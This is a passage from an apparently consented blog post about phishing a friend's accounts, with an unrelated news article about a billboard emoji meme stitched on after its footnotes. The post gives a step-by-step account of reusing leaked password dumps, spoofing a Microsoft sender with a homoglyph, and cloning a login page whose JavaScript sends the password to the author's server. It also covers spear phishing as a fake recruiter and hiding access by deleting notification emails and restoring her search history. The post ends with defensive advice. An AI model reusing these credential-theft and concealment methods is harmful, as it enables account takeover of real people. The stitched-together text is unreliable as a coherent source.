These particular passwords are not just hashed, but also salted8. This means that before each password is hashed, the good folks at Tumblr added an extra bit of text to the end of each one. So instead of hashing, say, cooldad64, they'd hash cooldad64HNc62V8.

Finding the salt

There's no official information on what kind of hashes are in Tumblr.txt.

The fully sick attack I want to do is: hashing a big list of passwords I just happen to have lying around wow and checking if any of the hashes match Diana's password hash. This is called a "dictionary attack", because the person who invented it was actually a dictionary. The trouble is, you need to know the salt to do this.

I google around some more, bask in the glory of very poorly constructed sentences on some ~hacker forums~, and ask my ~hacker connections~ in an attempt to find out what the salt is.

But I can't find it because fun fact I'm a total fraud.

Can I get the password... without the salt?

So remember how Tumblr salted the passwords by sticking some random stuff on the end to thwart wannabees like me?

The trouble is.... They stick the same thing (in my example, HNc62V8) on the end of every password. This isn't considered the best practice here in the year of our lord 2017, because it means that users with the same password have the same password hash. The emails and passwords would look like this:

markjohnson64@email.com:cooldad64HNc62V8 chicago.tony1@email.com:cooldad64HNc62V8 patriotsfan69@email.com:p@triots69HNc62V8 iamsherlocked.ravenclaw@email.com:Bongo1HNc62V8

I search Tumblr.txt for not dianalastname@hotmail.com, but for her password hash. (3a1920ceb2791d034973c899907847cb58810808)

I find more than 20 Tumblr users with the same password as Diana aw yeah

[REDACTED]@email.com:3a1920ceb2791d0... [REDACTED]@email.com:3a1920ceb2791d0… [REDACTED]@email.com:3a1920ceb2791d0… [REDACTED]@email.com:3a1920ceb2791d0…

This makes me think that Diana's password is probably not very unique, since all these other Dr. Who enthusiasts on Tumblr have also thought of it.

But also. Now I've got 20 other email addresses with the same password as Diana. Thanks to the miracle of everyone using the same password for everything, I've got a way to find Diana's password.

I just so happen AGAIN WOW WHATTA GUY to have the LinkedIn database dump from when LinkedIn was 360 whirlwind slam hacked in 20129.

Why do I care about the dump from the LinkedIn hack, you ask, fatigued from many gags and desperate for the part where we actually hack Diana?

LinkedIn also hashed their passwords in 2012, but they didn't add that freshly ground pink Himalayan rock salt to them. Also, the password hashing method they used is cripplingly insecure10 (SHA1 for all you extremely online people out there). Because of these flubs, most (>97%) of the passwords in the LinkedIn dump are available in plain text, not even hashed at all thanks to the hard work and GPU cycle donations of people in the password cracking community.

I get the 20-ish Tumblr emails who have the same Tumblr password as Diana, and look them all up in the LinkedIn dump. They're not all in there, but good enough baybee.

[REDACTED]@email.com:qwerty1 [REDACTED]@email.com:killer6 [REDACTED]@email.com:qwerty1 [REDACTED]@email.com:qwerty1

More than 80% of them have the same LinkedIn password. (Which we will say is qwerty1.)

This has gotta be Diana's password from Tumblr in 2013. Since all these people had the same password on Tumblr, and most of them have the password qwerty1 on LinkedIn, it's very likely that Diana's Tumblr password is qwerty1.

I try to log in to her Hotmail account with the password qwerty1.

"Incorrect password"

Wait please this was supposed to be easy please no why is it like this don't do this to me

Oh come on I was supposed to be hacking a normal person who uses the same password for everything this isn't fAiR. There are entire criminal industries built on the idea that people use the same password all over the place because nobody cares enough to remember more than a few passwords because they've got things to scroll on their phone okay.

Somehow, Diana is one of the rare few people who is not a security expert but has more than one password for her stuff.

I try this password on a few of her other accounts (Facebook, Twitter, iCloud) and it works on none of them11.

On Facebook, I'm conveniently informed that this password was her password 5 months ago, but isn't any more.

Looks like I just missed out. The plot thickens audibly.

This was supposed to be the part where I say "and then I logged into her email 100% stealthily", equip my third consecutive pair of sunglasses, and move on to the next bit. But alas, Diana was only in one leaked password list on haveibeenpwned.com at the time, so there goes that.

Fiiiiiiiiiiine whatever I don't even care I'm not crying, you're crying. Time to do this the old fashioned way. And by "the old fashioned way" I of course mean "the way government hackers do it".

Part 3: Hackinggggg (again)

Social engineering

Alright so we're just going to trick her into telling me her password. Is that cheating? Basically. But absolutely I'm going to do it anyway.

To get into her email, I need to know Diana's email password. Resetting the password won't work (since that would interrupt her life by locking her out of her email). I don't really wanna follow her around, man-in-the-middle attack her phone or laptop when it connects to insecure WiFi and steal her browser session, so that leaves us with: phishing.

You may have heard of "phishing", the process of emailing someone and tricking them into doing something, like giving you their password.

Now, hold up bucko, you're probably thinking of the kind of phish where someone says "good day sir I nigerian prince give you $1 million dollars USD u are royalty 2 me" etc. etc.

Or maybe you're thinking of someone sending an email that says "[heavy breathing] pls clikc on my urls http://click.here.to.get.ripped.in.three.weeks.verylegit.link/6x9M;PjxrY=WrS33n$Hcracked__767windows8+bitcoin.gpg.exe"

But with nothing more than paperclips, chewing gum, a single fidget spinner, and an advanced psychology degree, we can not only steal Diana's password, but do it without Diana realising she's been tricked.

Hand-crafting artisanal phishing emails to sell at the Sunday markets

Let's write down what we want to do:

Get Diana's email password

Don't let her realise that the email is not legit

Hmm I guess there were only two dot points uhh sorry that doesn't seem worth having dot points at all ummmm

So anYwAy the trick to phishing is that you don't want to engage the victim's attention. You want them to interact with your email mindlessly, without thinking it's a big deal. Kinda like how you click through email notifcations from Twitter (or anything that sends you email notifications) without really thinking about the email, because you're thinking about what awaits on the other end.

The other way, rather than distracting the victim, is to misdirect them. You give them something that's way more interesting to pay attention to than your dodgy link. Common examples of this include emails that say "OMG your account has been HACKED, log in here to fix it".

But of course, you log in to a fake website which steals your password.

Wow actually that sounds pretty12 easy13 doesn't it? Let's try that then.

I'll make an email that says "Your Microsoft Account Has Been Hacked And Uh If You Don't Log In Now It Will Get Deleted So Uh Yeah You Better Log In".

Instead of designing my own legit-looking Microsoft email, it's easier to just copy one that Microsoft has already made. I search my hotmail account14 for an automated email from Microsoft.

I use the incredibly cutting edge "Inspect Element" feature of the popular hacking software, Google Chrome, to edit the text of the email but keep the look. As I right click and hover over "Inspect Element", my laptop instantly explodes, I get root access to Microsoft, I'm added 50 times to every NSA watchlist, my text permanently changes to green-on-black, and I'm accepted to DEFCON.

Now it looks like this:

I can't send the email from my email account, because I'm not a total amateur. I use the popular hacking tool The Microsoft Sign Up Screen to make the hotmail account "msftacountteam@outlook.com". If you look closely, "account" is spelled wrong. I used "msft" because it wouldn't let me include the word "microsoft".

I try to register an account with first name "Microsoft" and last name "Account Team". The signup form doesn't let me. Blast. Thwarted by Microsoft lackeys. Probably, Microsoft doesn't let you have "Microsoft" in your account name to prevent, uh, exactly what I'm doing. Hmmm. I don't really want to have a typo in the name, like "Micorsoft", since Diana might notice that.

Instead I, a level 8 Wizard, cast a spell to swap the "o" characters in "Microsoft" for a special unicode character (like an emoji but much worse) that looks exactly like an "o". It's not, of course, it's our old friend, the Greek letter "Omicron". Here's the two pals side-by side:

οo

Awww, just look at 'em having a blast. These little guys might look different in the font your device is using, but in the hotmail web UI font they look juuuust right👌.

So now, my account's name isn't "Microsoft", It's "Micr[omicron]s[omicron]ft", according to the code that checks whether you have a valid name when you sign up for an account.

I'm sure you're wondering how this whole process ends up with me getting Diana's password, laughing manically in my comically giant leather chair. After she clicks the link in my legit looking email, she'll be asked to log in15. The page she goes to will look just like the Hotmail login page, but it will really be a copy that sends the password to me.

How can I make such a page? Well I'll clone the real page, register a domain that looks similar to login.live.com, host my cloned page there, and so on. Juuust kidding, the static website hosting service Aerobatic happens to also be an excellent phishing service.

I can register [anything].aerobatic.io, and deploy my static HTML to that domain with their command line tool for free.

Shout outs to Aerobatic for the smooth smooth phishing UX. Use the referral code DIANA to be immediately reported to the NSA.

I copy the existing login.live.com page, and pre-fill dianalastname@hotmail.com in the "email address" field. I deploy this page extremely trivially to login-live.aerobatic.io, and equip my fourth pair of sunglasses (don't worry I've earned it). This almost looks right, but the real Hotmail login form has a bunch of stuff after the / in the URL, so I copy/paste some of that good stuff too16.

Here's the exact URL, if you're interested. Also if you're not interested. It's gonna be there either way.

https://login-live.aerobatic.io/?passive=1209600&continue=https%3A%2F%2Faccounts.live.com%2FManageAccount&followup=https%3A%2F%2Faccounts.live.com%2FManageAccount&flowName=GlifWebSignIn&flowEntry=ServiceLogin

Perfect17. This looks similar enough to fool a cursory glance, and that's all we need baybee. Maybe she'll think "why do I have to log in again? I'm already logged in to my email?", but the email asks for a "Secure Login" (whatever that is).

Here's what the login page does:

// When the Login button is clicked or Enter is pressed $('#passwordForm').on('submit', function() { var password = $('#password').val(); // Create an image with a URL that points to my website. // The browser will request this URL in an attempt to load the image (which will fail since that URL doesn't exist) $('body').append('<img src="a-website-i-own.com/DIANA?'%20+%20password%20+%20'" alt="image">'); // Wait one second to simulate loading time (adjust to 0.1s if you don't live in Australia sigh), and then go to the real Hotmail login page. // Diana will already be logged in, so this will seem to her exactly like she's just logged in to hotmail. window.setTimeout(function() { window.location = 'login.live.com' }, 1000); return false; }

This works by sending her password to me when she clicks "log in". The password is sent a website of mine. Then I send her along to the real Hotmail, so it looks just liked she logged in. The website logs everything that gets sent to it, so I can then search my logs for "DIANA" to find the log containing the password.

This is all what I'm hoping for, anyway. The email says she has 48 hours to comply to create time pressure. Telling you that you have to do something right now is a common tactic to make you think instinctively and irrationally.

I login to my fake "Microsoft Account Team" hotmail account, send the email to dianalastname@hotmail.com and wait for her to have herself a red-hot browse.

About 12 hours later, I check my logs to see if she's typed her password.

She doesn't.

I wait another 12 hours.

Still nothing.

I send the email again, wincing slightly, this time saying she has 24 hours.

Still nothing.

Well damn

I guess that didn't work. She must have just ignored the email as uninteresting18

I try to think of non-phishing ways to get her password but really phishing is just too good. The nice thing about being the attacker is that you can put your eggs in many baskets. Diana has to defend against all of my eggs, and I've got baskets for days. Time for round 2.

Sniper scope targeted phishing blap blap

I reach under my desk, unwrap a parcel addressed to "DIRECTOR OF CYBER, NSA", slide out a yellow and black canister labelled "CHINA", break open the safety seal, and use safety tongs to extract the following red-hot phish.

This time, instead of using a generic idea that would work on anyone ("suspicious account activity"), we'll make something special just for Diana. Kinda like hand-knitting a beanie, but comparatively less wholesome.

I Google "google docs microsoft equivalent" and come across I dunno SkyDrive or SkyDocs 365 Pro or something or OneDrive look I dunno just look it's Google Docs but Microsoft so good enough for me.

I make a convincing looking resume (in Google Docs, of course) and copy it into a OneSkyCloudDrive 364/2 Days: Final Remix HD+ Doc.

Let's play: who's gonna send this doc to Diana?

I find a local company that's likely to legitimately want to talk to Diana, and search for a recruiter who works there on LinkedIn. I make someone with the same first name, but a different last name as a real recruiter from this company19.

I make a fake gmail account called Kathleen Wheeler, using a stock photo of a middle-aged western woman as the profile photo.

Here's what Kathleen is going to email Diana.

Looks legit riiiight?

The questions at the end are just some garbage I made up, but the point of them is to distract Diana right after she reads the "click here".

I put Diana's real phone number at the end to make it more convincing. This email is obviously meant just for her. It also makes sense for the phone number to be there, since presumably whoever listed Diana as a referee gave the phone number to Kathleen.

At the time she types her password, we want Diana to be thinking of what's on the other side of the login screen.

The delicious bait here is that this email says "someone said they know you", and you have to read the resume to find out who. Aw, but the resume is behind a pesky link. ~Guess you better just click on it~. LinkedIn also does this in their, um, "engagement" emails which say things like "you have 2 new messages", but not who they're from or what they say.

When Diana clicks on the link to the "resume", it will take her to the same fake login page (with her email pre-filled) as before. When she types anything in the password box, the site will wait one second and then send her to the Microsoft Google Doc™. The one-second wait is to simulate Australian internet speeds HAHAHAHAhahahahahah this sucks

She'll find that she doesn't know the person, probably because they're completely made up. They have work experience at real workplaces nearby, and went to the same university as Diana at around the same time, so hopefully their resume passes a cursory glance20.

Finding an unfamiliar resume is a sufficient, but not particularly satisfying conclusion to the adventure of the weird email from Kathleen. But of course, by then it's too late, I'm sitting in my ivory tower surrounded by passwords.

I make sure to send it during business hours, from "Kathleen""", pull a necklace from under my shirt dramatically, kiss it, look up at the sky, and wait.

Waiting

That night, I check my website's logs for any passwords from my fake Hotmail login form.

- - [[date]:16:32:30 +1000] "GET /DIANA?qwerty1 HTTP/1.1" 404 4702 "https://login-live.aerobatic.io/?passive=1209600&continue=https%3A%2F%2Faccounts.live.com%2FManageAccount&followup=http...." "Mozilla/5.0 (iPhone; CPU iPhone OS 10_2_1 like Mac OS X) AppleWebKit/602.4.6 (KHTML, like Gecko) Version/10.0 Mobile/14D27 Safari/602.1"

"Got it!"

..... is what I think, at first.

Particularly keen readers will have noticed that the password Diana has typed into my fake Hotmail login page is... the same password as we found for her in the Tumblr database.

This is not her Hotmail password, and everything is terrible.

From this we can draw two conclusions:

Diana doesn't know what her Hotmail password is

She now thinks her hotmail password is qwerty1, since she typed it into my fake login page which accepts any password, and it worked

I almost gave up at this point, but a last-minute burst of desperation/frustration/final destination helped me work up the courage to have another shot here in Act 3.

By this point my fake Microsoft Account Team email account has been soft-banned by the good people at William Gates Inc. for sending so many obvious phishing emails. I have to prove I'm a human and add my phone number to the account, and then it unlocks and I can edit the Microsoft Google Doc.

I hastily make a new fake resume of significantly lower quality than the first one, and make a crucial change to my fake login page.

My fake login page now says "wrong password" no matter what you type in the first two times you try typing something. If you type qwerty1, then the password counter doesn't go up21.

What do people do when they get a "wrong password" error? Try all of the 3 or 4 passwords they use for everything, of course.

I want to try and get Diana to type qwerty1, get a "wrong password" error, and then just unload all her passwords into my form.

Diana replied to my failed email with "sorry I don't know this person", and so Kathleen replies with, "wrong resume lol, here's the new one" even though this makes zero sense in the context of our email exchange. I'm hoping Diana will just be busily checking the email on her phone and not really notice this discrepancy.

I use a different font from the "form" when typing as Kathleen to make it look like this is a form that gets copy/pasted to every candidate. This makes Kathleen seem like she does this all the time in her big bustling, 100% real office. I also do my best to imitate the tone of a polite but stressed out office worker. You can almost hear the office politics. It's called method acting.

Time to stressfully wait for Diana to check for her email again, so now would be a good time to read out some donations.

Hours later

It works.

108.162.249.169 - - [12/May/2017:13:39:43 +1000] "GET /DIANA?wertyu2 HTTP/1.1" 404 4702 "https://docs-login-live.aerobatic.io/?passive=1209600&continue=https%3A%2F%2Faccounts.live.com%2FManageAccount&followup=https%3A%2F%2Faccounts.live.com%2FManageAccount&flowName=GlifWebSignIn&flowEntry=ServiceLogin" "Mozilla/5.0 (iPhone; CPU iPhone OS 10_2_1 like Mac OS X) AppleWebKit/602.4.6 (KHTML, like Gecko) Version/10.0 Mobile/14D27 Safari/602.1"

I get only one password from Diana (typed multiple times), but it's different to the last one I got (qwerty1)22.

I wait until she's asleep based on her Facebook Messenger last active time and log into her email using the elite hacking method of typing her password into the box.

The reason I waited until she was asleep was in case Hotmail emailed the account saying "New Sign In". It doesn't, and I'm rewarded with her email inbox screen in its full glory.

Angels sing softly above me. A small yellow bird lands on my shoulder and begins to chirp softly. I get several emails from the bullies in high school - they're really sorry and they've done a lot of soul searching and they want to make it up to me and I should expect premium fruit baskets on my doorstep in the coming months. Global warming halts.

"But that would never work on me"

It would tho.

Perhaps some of you in the audience are thinking "Wow, this Diana person must be pretty dumb to fall for that. Good thing I'm a web browsing prodigy with a colossal brain and many opinions, so that would never happen to me."

The thing is, right now you're very alert, because you're reading a blog post about hacking. If you were just reading your email, half-paying-attention on a train as normal, security wouldn't likely be on your mind. If sending trick emails is good enough for whoever the NSA, are emailing, then it's probably good enough to work on you and me.

I guess what I'm saying here is "don't go shaming phishing victims plz".

Anyway sorry back to haͅck͐i̥n̏g̜

Part 4: HACKER VOICE I'M IN

I immediately try Diana's email password (wertyu2) on her Facebook, Twitter, LinkedIn, iCloud, and on her other email addresses. None of them work because I've chosen someone with slightly above average personal security to target.

The obvious next step is to forward all her email to me (so I don't have to keep logging in to her email). Before I set up email forwarding, I try it out on a hotmail account I control. I'm testing to see if setting up "forward all your email to this address" sets off any notifications I'll have to delete, or notifies you in any other way.

In gmail, when you forward all your mail to another email address, the other address gets emailed a code, and also a big red bar appears on your gmail inbox saying "you're sending literally all of your email to this address FYI" for 7 days.

I type in my email address into my test hotmail account, and click "forward all my mail here pls". It saves. I check both email inboxes for a notification email. There isn't one. I've just backdoored this email account and no fuss has been made whatsoever. OH well at least hotmail has NoMansSkyDrive 2.8 Remastered XL Online or whatever.

An interlude from Diana

Diana replies to my email saying she doesn't know this person either. She's a little suspicious, so I try and say something that will close the conversation.

Diana doesn't reply.

Hey remember how you can search email?

Now that I have Diana's email password, I want to search her email for more passwords, and use those passwords to get more, and so on, like a REAL hacker.

Try going to your email and searching for "password". Betcha there's passwords in there.

In Hotmail, when you go to search something, the last 5 searches you've done pop up as suggestions.

This means that if I search for "password", Diana will notice "password" in the search history. That would be a really lame way to get caught.

To get around this, I: * Wait until Diana is asleep * Write down her last 5 searches * Search for "password" * Look at the results * Search for her last 5 searches again, in reverse order

Since only the last 5 searches are shown, by repeating the searches in reverse order, the search history looks exactly the same.

Much to the disappointment of the live studio audience, I don't find anything particularly useful. I find the two passwords I already know (qwerty1 and wertyu2) several times, and one other password which I again try on all her accounts, but doesn't work </3.

I hang out in Diana's email for several months. Every so often I check it. I find her signing a contract for a job, and so I get her passport number, signature, phone number, bank account number, and basically everything I'd need to impersonate her. I don't really232425 want to impersonate someone's government-issued ID, so I leave this alone.

At one stage, I'm browsing through hit political discourse platform and opinion conveyor belt twitter dot com, and I notice Diana tweet something along the lines of "Finally spent my day off consolidating my 4 email accounts into 1, feels good to be organised".

I panic a little. Have I been found out? I log in to dianalastname@hotmail.com (which still works, thankfully) and see that all her emails have been archived. I poke around in the email forwarding settings, and I see that things have changed. Her email is no longer being sent to my email address, it's being sent to dianalastname42@gmail.com (presumably the new email that Diana now forwards all her mail to).

This raises an important question. How did Diana not notice my email address in the "forward all mail to:" box? Did she see it, and just mindlessly delete it?

(When I interview her after all this, she says yes, that's exactly what she did.)

What now?

Normally it would end here. Mission accomplished. I'm in control of her email. I could cause catastrophic damage to Diana's life if I wanted to (I don't btw). There's potential for endless gags, limitless goofs, unlimited japes, infinte jests, etc.

But.. it seems like an awful shame to just... leave. That's why I start work on a little' somethin' called

Operation Luigi

Everybody just LOVES Mario's green friend Luigi! He's a Certified Good Boy! Just look at that boyish charm.

Why not brighten up YOUR social media presence with this game boy?

Well gee I'm sold after that delightful interlude from our sponsor, The Nintendo. Let's get Diana some uncut, Colombian Luigi.

Step 1: Get in to her Twitter and LinkedIn

So, I want to:

Get access to Diana's Twitter

Not lock Diana out

Not alert Diana that I'm up in her stuff

I could just phish her again for these passwords, but I'm already a salty old fisherman by this point.

Since I have access to her email, I could reset her Twitter password. The problem is, when you reset your Twitter password, you get logged out of Twitter in Chrome, the Twitter app, and anywhere else you might be logged in. So you have to retype your new password. One of my rules was that I wouldn't interrupt Diana's life, so I need her to be able to log back in to Twitter when I force her to log out.

I come up with a simple 8-step plan to do this, with 4 easy repayments of 2 steps.

Wait until Diana is asleep

Disable Diana's email forwarding

Go to Twitter and reset her password

Click the password reset link that gets emailed to her

Set her password to qwerty1

Delete the password reset email

Delete the "New Twitter Sign In" email

Re-enable email forwarding

The combo move in this is setting her password to qwerty1. When I phished her email password, she tried to log in to her email with qwerty1 even though that's not her password. This tells me that she thinks her password for everything is qwerty1, or at least, that's what she'll try if she's not sure. The technical term for this is next-level mindgames💻💻💻.

I do the steps above, and I'm now logged in to Diana's Twitter account. I tigheten up her Twitter security settings because I'm a Good Boy. I HOPE that Diana will be able to log back in as well, and not wonder why she suddenly got logged out. I wait stressfully for her to tweet something, and after a day or so she retweets a cute doggo, so we're good to go.

Now I want to do the same thing on popular dating website LinkedIn. This will involve signing Diana out of LinkedIn on all her devices, and I don't want her to get too suspicious, so I wait a week. I do the same process as with Twitter. This time I don't even wait until Diana is asleep, because I'm young and invincible.

As I'm setting Diana's password on LinkedIn back to qwerty1, LinkedIn doesn't let me.

Is this because qwerty1 was a password present in the LinkedIn hack in 2012? Or because it's just a common password? For a brief moment I panic, but then I realise I can just set Diana's password to her email password, wertyu2.

Astute readers will have noticed this little guy in the screenshot above.

LinkedIn is asking me if I'd like to log out of Diana's LinkedIn account on all devices while I'm resetting the password. That's REAL nice of you to offer old mate LinkedIn but I'm absolutely golden as it is in terms of logouts so don't even worry about it I'll be just fine how it is NO REALLY don't trouble yourself, I'm sure your CPU cycles are busy displaying everyone's 6000 word Thinkpieces about "Cyber" for "Non-technical Business Decision Makers".

Yeah so I submit that form 100% checkbox-free, and Diana remains logged in to LinkedIn on all her devices, none the wiser.

Step 2: Bring in the green boys

I enlist the help of a talented friend to photoshop everyone's #1 boy next door Luigi subtly into Diana's profile picture on Twitter, like a green guardian angel.

I can't show you Diana's pictures, so here's me doing similar photoshops to Your Boy And Mine, Five Time Celebrity MasterChef Winner And The Inventor of Bitcoin, Give It Up For Dr. Barack Obama Everybody:

At about this time I tweet about our sweet green boy so that if Diana sees her guardian angel Luigi, she'll know it was me. This is like my calling card except.... well it's not really like a calling card it's pretty dorky to be honest but just LOOK at that wholesome lad, you just KNOW he'd help you fix a flat tyre, and he'd just be too gosh darn polite to correct you if you said "thanks green mario" so really if you think about it I guess it IS like a calling card.

Next up I log into her LinkedIn account, get overwhelmed by her 15 LinkedIn notifications, 7 new profile views, 11 new Key People To Bother, and several pop ups telling me about new features I can use to invite people to join my professional network on LinkedIn™®©. Then I change her profile picture to my really good version.

For about a week, Diana continues her Twitter and LinkedIn(?) usage whilst being silently Luigi'd. Diana goes on viewing what I can only assume to be the sharpest international political discourse on Twitter, and getting slightly more LinkedIn profile views from observant recruiters who are also fans of the hit 2001 ghostbusting game, Luigi's Mansion.

Well that just about wraps up Operation Luigi. Glad that's all done and dusted.

Although...

I'm basically a Luigi technician at this point, and it would be a shame to let all that work go to waste. So let's just do

~one more thing~

Operation Waluigi: A dark turn for mature audiences

Waluigi, true to his character, is much more direct.

Damn RIGHT this new profile strength is "Advanced."

Please enjoy these half-baked opsec-enabled26 tweets27.

I also make Diana follow a bunch of Waluigi fan accounts (there are a lot), Nintendo of America, and @EmojiAquarium because it's a damn good account.

Part 5: Epilogue

Diana likes her new Waluigi life so much she keeps it all up there, and even changes her Facebook photo to a Waluigi'd one.

I meet up with her and ask her about her side of the story a few days later.

Here are some choice quotes:

"I've since listened to a lot of Waluigi songs" "Waluigi is the ultimate symbol of postmodernism, he exists only as a foil"

I ask her "How do you think I did it?". She says I must have hacked her email and reset her Twitter password, but she has no idea how I hacked her email.

When I show her the email chain with Kathleen on my computer her jaw drops for several seconds.

"You catfished me!"

We go back to the same ramen place after the interview. The credits roll.

"wait but i am very afraid after reading this blog post, how do I not get 360 noscope hacked like diana tho"

Hey kids, it's me, "Alex". We've had a lot of fun today, but now it's time to talk about the real issues. The moral of this story is that it's really easy for someone else to know your password. Fret not, for you are young and extremely online, and it's not too late for you yet.

Step 1: Go to https://haveibeenpwned.com and type in your email address. This doesn't actually do anything, it's just to instill sufficient fear in you.

Step 228: Go to your email and enable "Two-step Authentication". You can go to https://www.google.com.au/landing/2step if you use gmail. If you use Hotmail then I dunno, there's probably like a SkyCloud 360 X LIVE subscription you can buy that lets you do it.

Now, as well as your email password, you also type in a code from an app on your phone. Or you can have the code SMSed to you on your pastel-pink flip phone if you wanna relive the 90s29.

If Diana had Verified Good Content Two-step Authentication turned on, then I would have had to get a two-factor code AND her password. I would have had to either:

Phish the code as well as the password (but the code expires in less than 60 seconds)

Physically go to the same place as her, connect to the same WiFi, and steal her browser session

Email her a Word Doc with a macro in it that gives me control of her laptop, and steal her browser cookies from it

Call up her phone provider and trick them into pointing her phone number at my SIM card

All of these are more work and higher risk, and so hackers often just move on to lower hanging fruit. That's you in this situation. You're the delicious fruit. And the hackers are.... giraffes? Yeah. Watch out for giraffes.

Freshly baked shoutouts to My Absolute Homeslices for being my blog-review senpais, Diana for being chill, and to the hacking software released at DEFCON 25: Aerobatic dot io

If you want to talk to me about this, hit me up in the tweet zone (@mangopdf) or direct your browser to mango.pdf.zone

A careless mistake ↩︎

Obviously the best way is to not give permission to meeeeeeeee😎 ↩︎

I found her LinkedIn by just googling her name #pwned ↩︎

wait did he just say "hacker voice I'm in"? ↩︎

I haven't realised yet that successfully resetting Diana's iCloud password would lock her out of her account and violate our agreement. This is because I'm a weapons-grade bozo. ↩︎

On haveibeenpwned.com, Diana's email address shows up in a data dump from this website. It's a game of some sort? ↩︎

Later when I interview Diana, she says "I use exclusively Google Docs", so I was right! No comment about the avocado thing. ↩︎

I'm not making these up, these are real words that real hackers use I swear. ↩︎

Diana didn't have LinkedIn in 2012, so she's not in the list. But some of the 20 people who had the same password as her sure did. ↩︎

tag urself lol ↩︎

I also try guessing what her password could be based on the password I already have for her (qwerty1) but it doesn't work. ↩︎

low ↩︎

effort ↩︎

From 2002 do NOT @ me ↩︎

This makes no sense, since she'll be reading her Hotmail, and then asked to log in to the same thing she's already reading, but NON-fake websites have bad enough UX that this is believable. ↩︎

I steal all that good stuff after the URL from the Google sign-in page ;>_> ↩︎

Awkwardly, Hotmail changed its login screen shortly before this blog post came out. It used to look like that I swear. ↩︎

There are a few reasons this email wasn't attention grabbing. It was automated, from a company (not an actual human), and wasn't specifically about her, but about her account. ↩︎

When I interview her later, Diana says she looked up the company! She even says that getting back to Kathleen was on her to-do list, the poor thing. ↩︎

Months later, I notice I've left a "Lorem ipsum dolor sit amet, consectetur adipiscing elit" as a dot point on the resume. ↩︎

This is a genius suggestion from one of my ~hacker connections~. ↩︎

At this point Diana has been completely gaslighted as to what her hotmail password is, because my phishing site said the wrong password was right, and then said the right password was wrong, and she thinks it's the real Hotmail. ↩︎

I mean it WOULD be pretty funny ↩︎

And wow you could do anything, book flights, get a job, change your name... ↩︎

Just letting any Government Agents reading this know that I did NOT end up doing anything with this and I love democracy. ↩︎

If you really tried you could probably find Diana's Twitter from these. You would then be a hacking genius, binary flowing through your veins, and have a CVE number assigned to your personally. I, a humble wannabee, am relying on your strict ethics to prevent you from, uh, stalking the friend of some guy whose blog post you read. You can do it. I believe in you. ↩︎

Having said that, I don't really have an overwhelming amount of faith in the idea that someone won't try to do that. You can stay chilled out, dear reader, since before this blog was published Diana and I had a nice chat and fixed up her personal security. ↩︎

Password managers like LastPass are also good for giving you unique passwords, but I reckon 2FA is the best effort:security ratio value For Normal People Tee Em. ↩︎

But, this is less secure, since your phone number can still be hijacked. ↩︎

[news-mashable-yahoopartner-blog]

The 'driving in' meme makes fun of your state's wildest billboards

A recent Twitter meme has people laughing at their hometown's bizarre, often aggressive billboards. 

The meme draws out a highway in emoji and text, and makes fun of the over-the-top messages you're bound to see in rush hour traffic. 

driving in Alabama: | || | __________________ | 🚘 || | |GO TO CHURCH| | || | | OR THE DEVIL | | || | |WILL GETCHU👹| | || | |———————— |

— Sam Satt (@samuel_satt) February 11, 2019

SEE ALSO: Today's tea is this spicy call out meme

And often points out the animals and crops you'll probably drive past in the middle of America.

driving to lincoln b like: 🛩 | || | [Exit 420] | 🚘 || | | 🐄 | || | 🐎 | || | ______________ | || | | TRUMP | ⛪️ | || | |—————|

— Christian Lund (@Chritstian_Lund) February 12, 2019

driving in Pennsylvania is like: 🌽 | || | ______________ | 🚘 || | | YOU WILL | 🦌 | || | | MEET GOD | | || | |——————|

— midwest emo(tional norman) (@emonormie) February 12, 2019

driving in Florida is like: 🐊 | || | ______________ | 🚘 || | | YEEHAW | 🐊 | || | | JUNCTION | | || | |——————|

— 🃏mei (@academyofvenus) February 12, 2019

Some make fun of the traffic itself.

Driving in LA be like: |🚘🚖 | 🚘🚖|| _________________ |🚘🚘 | 🚖🚖|| | LOL YOU’RE | |🚔🚍 | 🚘🚍|| | GONNA DIE | |🚘🚘 | 🚔🚘|| | FROM AN STD | |🚖🚘 | 🚖🚖|| |_________________|

— urdadssidepiece 🧔🏻 (@urdadssidepiece) February 12, 2019

While others are a commentary on the poorly maintained roads. 

Driving through SC like 🏚| 🕳|| | ____________ 🌴| || 🕳 | |yall going | 🌲| || | | to hell ✝️. | 🇺🇸| || 🚘 | |____________| 🌲| 🕳 || 🕳 | 🌲| || |

— cpizforeal (@cpizforeal) February 11, 2019

driving in utah is like: ⛪️ | 🚔 || ❄️| __________ | 🚘 || | | Cosmo- |. 🚙 🚧 | politan ☃️ | || 🕳| | is PORN | | ❄️ || | |————|

— miriam (@classicmerm) February 11, 2019

Expect to see a lot of advertisements for religion. 

I-80 from des moines to iowa city like 🌾 | || | __________ | 🚘 || | | JESUS. | 🌾 | || | |————| | || |

— reese (@reesie_madeline) February 11, 2019

Welcome to Texas: | || | /\ | 🚘 || | __ /\ \ _____ | || | / / \ / /| | || 🤠 | /___/ \/_____/ | | || 🐎 | | / W \ |

— GAVIN (@GavinChapman_) February 12, 2019

Driving in CT be like 🌲|🚘🚖 || | _______________ |🚘🚘 || | | YOUR | 🌳|🚔🚍 || | | WIFE IS | |🚘🚘 || | | HOT! | 🌲|🚖🚘 || | |—————-—|

— Lydia Oh (@lydia_oh22) February 13, 2019

driving in Houston is like: | | | 🚘 | ________________ | BE SOMEONE | ——————— | |

— dom (@random_inique) February 12, 2019

Driving in Vegas be like: 🏰|🚘🚖 || | _______________ |🚘🚘 || | | Little | 🗼|🚔🚍🚧 | | Darlings: | |🚘🚘🚧 | | Now hiring | 🗽|🚖🚘 || | | c/o 2019 |

— SAVANNAHCONDA (@SuhhNanNuhh) February 12, 2019

driving in tacoma is like 🌊|🚘 | 🚧 | 🌲 |🚘 | 🚍 | 🌲 🌲 🏗 | 🚘 | 🚘 | ______________ |🚖 | 🚖 | | jesus cares | 🛳 |🚖 | 🚔 | |_about you_ | |🚧 | 🚘 | | |

— anna (@annathaler_) February 12, 2019

my country 🌾 | || | ____________ | 🚘 || | | PLZ DONT | 🌾 | || | | LITTER | | || | | —————— | 🚬〰️☄📜🗞🗑💉 🗞💊🛢💉🚬

— Quackity (@QuackityHQ) February 12, 2019

driving thru florida b like: _________________ 🐊| || | | MACHINE GUN | 🍊|🚘|| | | AMERICA | 🐊| || | | ˢʰᵒᵒᵗ ʳᵉᵃˡ ᵐᵃᶜʰᶦⁿᵉ ᵍᵘⁿˢ| 🍊| || | | ̅ ̅ ̅ ̅ ̅ ̅ ̅ ̅ ̅ ̅ |

— bailey (@doyalikebaileys) February 12, 2019

